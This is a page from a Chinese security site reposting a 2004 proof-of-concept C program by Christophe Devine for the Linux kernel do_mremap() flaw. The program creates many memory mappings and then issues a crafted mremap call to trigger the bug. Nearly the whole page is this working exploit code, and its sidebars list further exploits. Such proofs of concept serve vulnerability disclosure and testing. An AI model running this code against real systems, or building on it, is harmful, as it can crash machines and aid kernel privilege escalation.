首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Proof-of-concept exploit code for do_mremap()
来源:vfocus.net 作者:Devine 发布时间:2004-04-12  

Proof-of-concept exploit code for do_mremap()


/*
* Proof-of-concept exploit code for do_mremap() #2
*
* Copyright (C) 2004 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2

#define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );

#define VMA_SIZE 0x00003000

int main( void )
{
int i, ret;
void *base0;
void *base1;

i = 0;

while( 1 )
{
i++;

ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
VMA_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

if( ret == -1 )
{
perror( "mmap" );
break;
}

base0 = base1;
base1 = (void *) ret;
}

printf( "created ~%d VMAs\n", i );

base0 += 0x1000;
base1 += 0x1000;

printf( "now mremapping 0x%08X at 0x%08X\n",
(int) base1, (int) base0 );

real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );

printf( "kernel may not be vulnerable\n" );

return( 0 );
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Monit <= 4.1 Remote Root Ex
·RogerWilco 0.4 remote exploit
·Panda ActiveScan Control Remot
·Remote Exploit for Aborior's E
·FirstClass Desktop 7.1 buffer
·Tcpdump ISAKMP payload Integer
·Tcpdump ISAKMP Identification
·IGI 2 <= 1.3 server RCON fo
·Multiple Cisco Products Vulner
·Symantec Virus Detection Remot
·GV Local Buffer Overflow Explo
·eMule <= 0.42d Remote Explo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved